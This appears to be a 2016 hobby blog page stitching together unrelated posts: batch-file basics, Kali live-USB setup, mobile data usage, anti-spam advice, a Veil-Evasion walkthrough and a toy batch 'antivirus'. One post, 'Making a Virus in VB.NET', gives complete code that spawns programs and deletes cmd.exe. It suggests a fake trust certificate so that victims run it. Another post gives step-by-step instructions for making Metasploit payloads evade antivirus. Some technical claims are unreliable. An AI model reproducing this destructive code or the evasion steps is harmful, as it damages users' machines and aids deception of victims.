Sunday, 17 April 2016

Batch File In A Nutshell

Welcome to my tutorial. I will go over just about everything you can do with a batch file from simple commands to utilizing those in every day use, and very complex batch files to automate any process. This tutorial is geared towards batch files in a Windows XP environment. So lets get started.

Chapter 1 - What is a Batch File?

In DOS, OS/2, and Microsoft Windows, a batch file is a text file containing a series of commands intended to be executed by the command interpreter. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe, or Wscript.exe or cscript.exe) reads the file and executes its commands, normally line-by-line. Batch files are useful for running a sequence of executables automatically and are often used by system administrators to automate tedious processes. Unix-like operating systems (such as Linux) have a similar type of file called a shell script.

(Source Batch File Wikipedia )

What this means is you create a text document (using notepad or any simple text editor in ANSI format) with an extention of "bat" so it would be myfile.bat. Now why not just delve into the programming?

Chapter 2 - Hello World

Ok as will ANY programming language, we will create your very first batch file. Of course we will do the "Hello World" Application. So what we need to do is create a new text document and open the file in notepad. Now I will go line by line explaining what each of those lines do.

Line One:
Code
@echo off

What that command does is will hide the command echo, so when you want to display text, it wont display the "echo" command or what is happening, some simply when you write the command, the command wont be visable only the output you designate.

Line Two:
Code
title Hello World

This command sets the title of the command prompt to whatever you choose, I chose "Hello World" because that is the name of the file we are making. This command should be pretty straight foreward, your setting a title for the application

Line Three:
Code
echo Hello World

This command is actually what we are displaying in the command prompt screen which is simply displays "Hello World" the echo command is one of the most common you will come across in batch scripting. I will go in further detail in the next chapter.

Line Four:
Code
echo.

This command will create a blank line (like a line brake in HTML <br /> )

Line Five:
Code
pause

This command is another common one that does exactly what it says, it will pause any further commands until a user pastes any key to continue. This is similar to the WAITKEY command in various programming languages.

So the final batch file code will look like this:
Code
@echo off
title Hello World
echo Hello World
echo.
pause

And the output like this:


Ok that's it, your very first Hello World Batch File. Now to the next Chapter.

Chapter 3 - Common Commands

Ok as said before I will now be going in depth of the most commonly used commands in a batch file. Chances are in each of your batch files they will contain these commands. So lets learn the basics.

@

This commands is used in the begginning (usually) in front of the ECHO command as in "@ECHO OFF" and what it does is not echo back the text after the "at" symbol. And the purpose of the "@ECHO OFF" to prevent any of the commands in the batch fie from being displayed, just the information that is needed.

ECHO

This command has 3 functions, "ON", "OFF", and "MESSAGE". For example at the beggining of the batch file if it has "@ECHO ON" then it will disply each line of the batch on screen, however that command is not needed because if you just remove it, it is default so it will do that anyways, a real life application for that is when your debugging a batch file and just change OFF to ON in the first line just for simplicities sake. Now the OFF function will only display the output on the screen. And finally "MESSAGE" is a string of characters to display (remember the Hello World file). Wait, you think I'm done with echo? Hahaha, no way I'm just getting started. You can even use echo to insert text into a file. For example:
Code
ECHO Word word word word>Filename.txt

That will create a text document with "Word word word word" in Filename.txt Now you can also use ECHO to display a variable, for example:
Code
echo %temp%
will display the location of your Temperary files that the %temp% variable points to. You can even have echo make a sound. To do this is the following command:
Code
ECHO �

You use the 'Alt' key, followed by a 7 on the numeric keypad to get the 'ascii 7' character. Lastly I would like to touch on the blank line. As stated in the second chapter you do the following command to produce and empty line:
Code
ECHO.

CLS

This command can be used a lot or very little, myself I use it A LOT, like the echo command its in every single one of my batch files. its use is simple, there are no parameters, its simply "CLS" you add it on a line to "CLear the Screen"

CD

Ok this command is to change the current directory to another. Another commonly used command in batch files (or navigating through a CLI or Command Line Interface, as opposed to GUI or Graphical user Interface). The Syntax is as follows:
Code
CD [/D] [drive:][path]
CD [..]

The /D parameter changes the current DRIVE in addition to changing folders. Lets say your batch file is in the root of the drive, which we will call "C:\" however you want to create a batch file that deletes temperary files, so we need to be in the temp file for the computer, now here you can do one of two things, the first more complicated way is to use the "CD" command and do the following:
Code
CD /D "C:\Documents and Settings\User\LocalData\temp"

Or more simply, and also universal for all computers:
Code
CD %TEMP%

Then there is also the 'CD ..' which will continue to the parent directory, for example
Code
C:\Working\Directory>cd .. [press enter]
C:\Working\>cd .. [press enter]
C:\>

So it goes up a directory. Now another function that I use with CD is the following:
Code
CD\

This command with bring the current directory to the root directory. I include this usually right after '@ECHO OFF' in my batch files.''


Bye!

Making a Bootable OS USB drive

My favorite way, and the fastest method, for getting up and running with Kali Linux is to run it “live” from a USB drive. This method has several advantages:
  • It’s non-destructive — it makes no changes to the host system’s hard drive or installed OS, and to go back to normal operations, you simply remove the “Kali Live” USB drive and restart the system.
  • It’s portable — you can carry Kali Linux in your pocket and have it running in minutes on an available system
  • It’s customizable — you can roll your own custom Kali Linux ISO image and put it onto a USB drive using the same procedures
  • It’s potentially persistent — with a bit of extra effort, you can configure your Kali Linux “live” USB drive to have persistent storage, so the data you collect is saved across reboots
In order to do this, we first need to create a bootable USB drive which has been set up from an ISO image of Kali Linux.

What You’ll Need

  1. A verified copy of the appropriate ISO image of the latest Kali build image for the system you’ll be running it on: see the details on downloading official Kali Linux images.
  2. If you’re running under Windows, you’ll also need to download the Win32 Disk Imager utility. On Linux and OS X, you can use the dd command, which is pre-installed on those platforms.
  3. A USB thumb drive, 4GB or larger. (Systems with a direct SD card slot can use an SD card with similar capacity. The procedure is identical.)

Kali Linux Live USB Install Procedure

The specifics of this procedure will vary depending on whether you’re doing it on a Windows, Linux, or OS X system.

Creating a Bootable Kali USB Drive on Windows

  1. Plug your USB drive into an available USB port on your Windows PC, note which drive designator (e.g. “F:\”) it uses once it mounts, and launch the Win32 Disk Imager software you downloaded.
  2. Choose the Kali Linux ISO file to be imaged and verify that the USB drive to be overwritten is the correct one. Click the “Write” button. kali-usb-install-windows
  3. Once the imaging is complete, safely eject the USB drive from the Windows machine. You can now use the USB device to boot into Kali Linux.


Creating a Bootable Kali USB Drive on Linux

Creating a bootable Kali Linux USB key in a Linux environment is easy. Once you’ve downloaded and verified your Kali ISO file, you can use the dd command to copy it over to your USB stick using the following procedure. Note that you’ll need to be running as root, or to execute the dd command with sudo. The following example assumes a Linux Mint 17.1 desktop — depending on the distro you’re using, a few specifics may vary slightly, but the general idea should be very similar.
WARNING: Although the process of imaging Kali Linux onto a USB drive is very easy, you can just as easily overwrite a disk drive you didn’t intend to with dd if you do not understand what you are doing, or if you specify an incorrect output path. Double-check what you’re doing before you do it, it’ll be too late afterwards.
Consider yourself warned.
  1. First, you’ll need to identify the device path to use to write the image to your USB drive. Without the USB drive inserted into a port, execute the command
    sudo fdisk -l
    at a command prompt in a terminal window (if you don’t use elevated privileges with fdisk, you won’t get any output). You’ll get output that will look something (not exactly) like this, showing a single drive — “/dev/sda” — containing three partitions (/dev/sda1, /dev/sda2, and /dev/sda5): Parallels DesktopScreenSnapz007
  2. Now, plug your USB drive into an available USB port on your system, and run the same command, “sudo fdisk -l” a second time. Now, the output will look something (again, not exactly) like this, showing an additional device which wasn’t there previously, in this example “/dev/sdb”, a 16GB USB drive:FinderScreenSnapz002
  3. Proceed to (carefully!) image the Kali ISO file on the USB device. The example command below assumes that the ISO image you’re writing is named “kali-linux-1.0.9a-amd64.iso” and is in your current working directory. The blocksize parameter can be increased, and while it may speed up the operation of the dd command, it can occasionally produce unbootable USB drives, depending on your system and a lot of different factors. The recommended value, “bs=512k”, is conservative and reliable.
     dd if=kali-linux-1.0.9a-amd64.iso of=/dev/sdb bs=512k
Imaging the USB drive can take a good amount of time, over ten minutes or more is not unusual, as the sample output below shows. Be patient!
The dd command provides no feedback until it’s completed, but if your drive has an access indicator, you’ll probably see it flickering from time to time. The time to dd the image across will depend on the speed of the system used, USB drive itself, and USB port it’s inserted into. Once dd has finished imaging the drive, it will output something that looks like this:
5823+1 records in 5823+1 records out 3053371392 bytes (3.1 GB) copied, 746.211 s, 4.1 MB/s
That’s it, really! You can now boot into a Kali Live / Installer environment using the USB device.


Creating a Bootable Kali USB Drive on OS X

OS X is based on UNIX, so creating a bootable Kali Linux USB drive in an OS X environment is similar to doing it on Linux. Once you’ve downloaded and verified your chosen Kali ISO file, you use dd to copy it over to your USB stick.
WARNING: Although the process of imaging Kali on a USB drive is very easy, you can just as easily overwrite a disk drive you didn’t intend to with dd if you do not understand what you are doing, or if you specify an incorrect output path. Double-check what you’re doing before you do it, it’ll be too late afterwards. Consider yourself warned.
  1. Without the USB drive plugged into the system, open a Terminal window, and type the command diskutil list at the command prompt.
  2. You will get a list of the device paths (looking like /dev/disk0, /dev/disk1, etc.) of the disks mounted on your system, along with information on the partitions on each of the disks. TerminalScreenSnapz010
  3. Plug in your USB device to your Apple computer’s USB port and run the command diskutil list a second time. Your USB drive’s path will most likely be the last one. In any case, it will be one which wasn’t present before. In this example, you can see that there is now a /dev/disk6 which wasn’t previously present. TerminalScreenSnapz011
  4. Unmount the drive (assuming, for this example, the USB stick is /dev/disk6 — do not simply copy this, verify the correct path on your own system!):
diskutil unmount /dev/disk6
  1. Proceed to (carefully!) image the Kali ISO file on the USB device. The following command assumes that your USB drive is on the path /dev/disk6, and you’re in the same directory with your Kali Linux ISO, which is named “kali-linux-1.0.9a-amd64.iso”:
sudo dd if=kali-linux-1.0.9a-amd64.iso of=/dev/disk6 bs=1m
Note: Increasing the blocksize (bs) will speed up the write progress, but will also increase the chances of creating a bad USB stick. Using the given value on OS X has produced reliable images consistently.
Imaging the USB drive can take a good amount of time, over half an hour is not unusual, as the sample output below shows. Be patient!
The dd command provides no feedback until it’s completed, but if your drive has an access indicator, you’ll probably see it flickering from time to time. The time to dd the image across will depend on the speed of the system used, USB drive itself, and USB port it’s inserted into. Once dd has finished imaging the drive, it will output something that looks like this:

2911+1 records in 2911+1 records out 3053371392 bytes transferred in 2151.132182 secs (1419425 bytes/sec)

And that’s it! You can now boot into a Kali Live / Installer environment using the USB device.
To boot from an alternate drive on an OS X system, bring up the boot menu by pressing the Option key immediately after powering on the device and select the drive you want to use.
For more information, see Apple’s knowledge base.

This article was originally posted on: http://docs.kali.org

Bye!
 

Is MTN Cheating Us?

Is MTN Cheating Us?

Many data users of companies like MTN and AIRTEL complain that their data disappears and that the companies are cheating them. The main question is that is there a "data leakage" anywhere in the network or do they really steal our data?

The most likely reason your data is “disappearing”

The likely cause for data inexplicably depleting is that users are consuming more data unknowingly, the three networks told MyBroadband.
Among the reasons for increased data usage are:
  1. Windows 10: There was a sudden increase in the number of complaints when Microsoft launched the free update to Windows 10, which is a download of around 3GB.
  2. Automatic updates: MTN said most complaints it received point to updates running in the background. Vodacom pointed out that this includes updates to applications as well, and not just system software. Updates can be hundreds of megabytes in size.
  3. Social media: Facebook and Instagram have both started showing higher resolution images, MTN said. WhatsApp photo and video messages can be up to 16MB each.
  4. YouTube: Faster connections allow YouTube to stream higher definition video. YouTube will dynamically adjust the quality of the stream to what it thinks is best for your device and Internet connection.
  5. Price changes: MTN said that changes it has made to its pricing to bring itself in line with “industry norms” might create the impression of data “disappearance”. It made some data bundles last only 30 days, where they used to last 60, and it changed its out-of-bundle data rates to 99c/MB. Vodacom said it hasn’t changed its prices.
  6. LTE: Both networks said they have been rolling out LTE. This offers faster data speeds, which means subscribers with LTE devices are able to download more data in less time than they used to. “An overwhelmingly large number of complainants use LTE-compliant handsets,” said MTN.

Less likely: someone else is using your data

While not likely, Vodacom said it is possible that someone can hijack a subscriber’s SIM.
It emphasised it has no recent record of this happening, and that it has a number of systems in place to prevent this, but said it did want to mention the slim possibility.
SIM swap fraud, though an unlikely mechanism for data theft, is a possible way that someone else could use your data. You should notice this immediately, though, as your own SIM would go dead.
Alternate-SIM services are another way data could be stolen.
For example, Vodacom lets you add a data SIM to your existing contract so that you can use your data cap in more than one device (e.g. smartphone and laptop).
Twin Call SIM is another such service which lets you use a single number across two devices.
MTN has a similar multi-data SIM service which it calls MTN DataShare – which also has measures in place to prevent abuse.
MTN DataShare sends you an SMS every time a new number is allowed to share your data bundle.
Besides some crafty data thief trying to get access to your cellular account, another way someone could use your data is if you have a Wi-Fi router for your mobile data connection.
If your hotspot is unsecured or has a weak password, it is possible that one of your neighbours are using your Wi-Fi.

Preventing bill shock

MTN and Vodacom said that in addition to their balance checking features, they also let users set usage limits.
Vodacom has call limit lock for its contract subscribers that lets them set a maximum “out of bundle” spend amount, after which their account is locked until they contact support to unlock it.
MTN has a similar subscriber usage limit feature on its My MTNChoice packages.
If your data is depleting for some unknown reason and you want to trace the cause, however, you’re on your own.
The networks have the ability pull logs of the URLs and/or IP addresses of the sites and services you have accessed over a limited period, but Vodacom said that this is a time-consuming exercise.
Cell C added that under the Protection of Personal Information Act, they do have a duty to protect customer privacy.
Such logs will only be drawn upon request, and typically only when there’s a big issue.
However, most modern smartphones track how much data applications consume, and there are also applications for PCs you can use to measure your data consumption.

The best thing to do!
The best thing to do according to me will be to switch to either Mobile, or yet better use full HTML view for everything. 
Switching to mobile will let you use lesser data because of various reasons. Even if you watch YouTube over the mobile, you don't need a 720p setting, just use 360 or 420p..
Moreover, if you switch to full HTML view for everything, there is less burden on your internet to download all the JavaScript mess, thereby reducing your consumption.

Thankyou,
Bye! 

Saturday, 16 April 2016

Kali Linux 2 Bypassing Antivirus

In real life pen-testing scenarios, the antivirus is an added layer of security, which we have conveniently ignored so far. However, in this tutorial we will see how we can encrypt the payload and make it harder for the AV(antivirus) to detect it.


Prerequisites

You should know how the basics of generating payloads using metasploit, i.e. have a basic idea about pentesting. I have covered these already, and won't do so again.
If you haven't got the prerequisites covered, I'd suggesting you start by hacking into an unpatched Windows XP machine.


Install Veil-evasion

This is one the rare moments when you actually have to install a hacking tool in Kali Linux. That said, the process is incredibly simple, and a simple apt-get will work.
sudo apt-get update
sudo apt-get install veil-evasion



 Type veil-evasion in the terminal and you'll be asked if you want to continue with the installation.
Type y. Wait for the installation to finish. It could take a while. The installation would ask you to install Python & Ruby (don't change installation directories even if it says that Python is already installed), which is just a matter of clicking next and finish.

Veil Evasion

Type veil-evasion on the terminal to start it.

1) Type list to see available payloads.
list
2) Use any payload you want to. I'm using python/shellcode_inject/flat. Type
use python/shellcode_inject/flat
3) You can use set option to change any values you want to change. We don't need that right now. Type info to see the settings you can change.
info
4) Type generate
generate
5) Choose option 1
6) Press enter, or if you want to use some other exploit, then type it's name.
7) Enter LHOST and LPORT, enter any extra  msfoptions you want to enter (not required here). Enter any name you want.
8) Choose 1 or 2 for Payload creation method.




Your payload will get generated in a bit. Don't upload it to online scanners, since they distribute it to different AV companies and the detection rate increases. I will update the post with screenshots soon. 


Bye!

Most Used Spamming Techniques

Most Used Spamming Techniques

Spam has been a cat-and-mouse game between anti-spam vendors and spammers for decades. Today, numerous spam filtering services capture spam with varying degrees of successusually even a majority of the spam messages. However, a lot of end users and IT professionals view spam as merely a nuisance instead of a legitimate security threat.
Two spam techniques have seen a resurgence in usage this past year after near dormancy since the early- to mid-2000s: Snowshoe spam and image spam are thwarting even the most advanced anti-spam engines and frequently wreaking havoc on end users' mailboxes. The true threat lurks within these messages in the form of link-based attacks that can lead to opened vulnerabilities, spear phishing or viruses.


Snowshoe spam is a technique in which spammers utilize a wide array of email addresses or IPs at once to distribute a large spam attack that is spread lightly over multiple sources. This allows the spam campaign to reach across a large base of compromised accounts, creating a small footprint on each compromised source.

Image spam is typically an attached image that contains the actual
body of the message the spammer’s campaign is attempting to deliver. The body of the message may have common words that will likely bypass a spam filter, allowing the recipient to receive the message. Most mail clients will automatically display the image attachment without the user having to open it, causing the recipient to see the image with the spam campaign readily displayed. The message usually contains a link-based attack with the image being a hyperlink.

Formidable Spam Campaign
Combine these two techniques and you have a formidable spam campaign, possibly reaching end users' mailboxes and potentially delivering a virulent payload. As a support manager for Nuvotera, a SaaS distributor, I personally handle this issue with clients on a daily basis. So, what's the answer to this rising real-world digital security threat? Active link protection.
Some spam filters offer passive link protection, where a link is scanned for threats prior to delivery. With so many attacks today being link-based as opposed to attachment-based, with evolving zero-day threats you need all the link protection you can get. Active link protection scans a link upon receipt and upon click, providing real-time protection even if a link's risk changes.
McAfee Email Protection features ClickProtect, which is incredibly strong active link protection. Depending on the configured policy and the link's threat, it may outright deny the URL and log the event, or display a warning. It also provides a safe preview screenshot of the linked site. This feature alone has saved many of my clients from suffering attacks while providing peace of mind, all without increased cost or burden on the end user or IT administrator.


Regardless of what security vendors you use, from my extensive experience, I strongly recommend utilizing active link protection. Spam techniques with stealth capabilities and dangerous cargo, with more than 130 billion spam emails sent daily, equate to new dangers threatening every mailbox. Active link protection provides that mandatory additional layer of security.

Making a Virus in VB.NET

Making a Virus in VB.NET

DISCLAIMER: Try out this code at your own risk. We’re not responsible for any damage resulting from use of this code.

This is a very simple virus. It just starts a whole lot of programs and then after 10 seconds deletes the command file of windows so that the computer can’t be started.

Make a new Windows application with only one form.
Add 5 timers to it. Change the interval of the first 4 timers to 100 and make the interval of the last one 10000.
The interval is in milliseconds. It means that the timer will execute its tick event once every interval.
The names of the timer should be Timer1, Timer2, and so on and the name of the form should be Form1.
Double click the form and the following code to the Load event:

CODE:

Timer1.Enabled = True
 
Then add the following code to the timer events.
 
 
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
 Process.Start("C:\Windows\System32\control.exe")
 Timer2.Enabled
 
 = True
 End Sub
 
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
 Process.Start("C:\Program Files (x86)\Internet Explorer\iexplore.exe")
 Timer3.Enabled = True
 End Sub
 
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
 Process.Start("C:\Windows\System32\paint.exe")
 Timer4.Enabled = True
 End Sub
 
Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
 Process.Start("C:\Windows\System32\notepad.exe")
 Timer5.Enabled = True
 End Sub
 
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
 MsgBox("You are dead")
 Timer1.Enabled = False
 Timer2.Enabled = False
 Timer3.Enabled = False
 Timer4.Enabled = False
 Kill("C:\WINDOWS\system32\cmd.exe")
 Timer5.Enabled = False
 End Sub
 
DONE!.
This is just a small demo. You can make endless things to fool people using a GUI application. You can also give the application the fake Trust certificate, so that the people will feel it as a genuine application and run it. 
 
BYE! 

Antivirus Using Notepad

Making an Antivirus in Notepad is easy and fun but not at all usable for daily and commercial purposes. Notepad antivirus is made in Batch and is not at all a good option if you're looking forward to make a professional one. The is just for fun.

So before you start, you need:
1) Text-Editor
2) Windows Operating System

1) Open Notepad & Type:

@echo off
color cb
title BHAVESH ANTI VIRUS
cls
echo ===============
echo [ BHAVESH KAUL- ANTI VIRUS (COPYRIGHTED- PROTECTED)]
echo ===============
echo If There's no message ,You are protected.
set /p a=Enter a batch file to scan:
for /f %%x in (
'findstr /i /m "virus r.i.p byebye HaHaHa Hacked Hack" %a%.bat'
) do (
if /i %%x equ %a%.bat (
for /f %%z in (
'findstr /i /b /m "tskill del copy shutdown ipconfig ren reg" %a%.bat'
) do (
if /i %%z equ %a%.bat (
cls
echo Virus Detected!!
del %a%.bat
echo %a%.bat was deleted....
pause >nul
)
)
)
)
pause >nul


2) Save file as "anything.bat" 

DONE!

BYE!
Super Blog Directory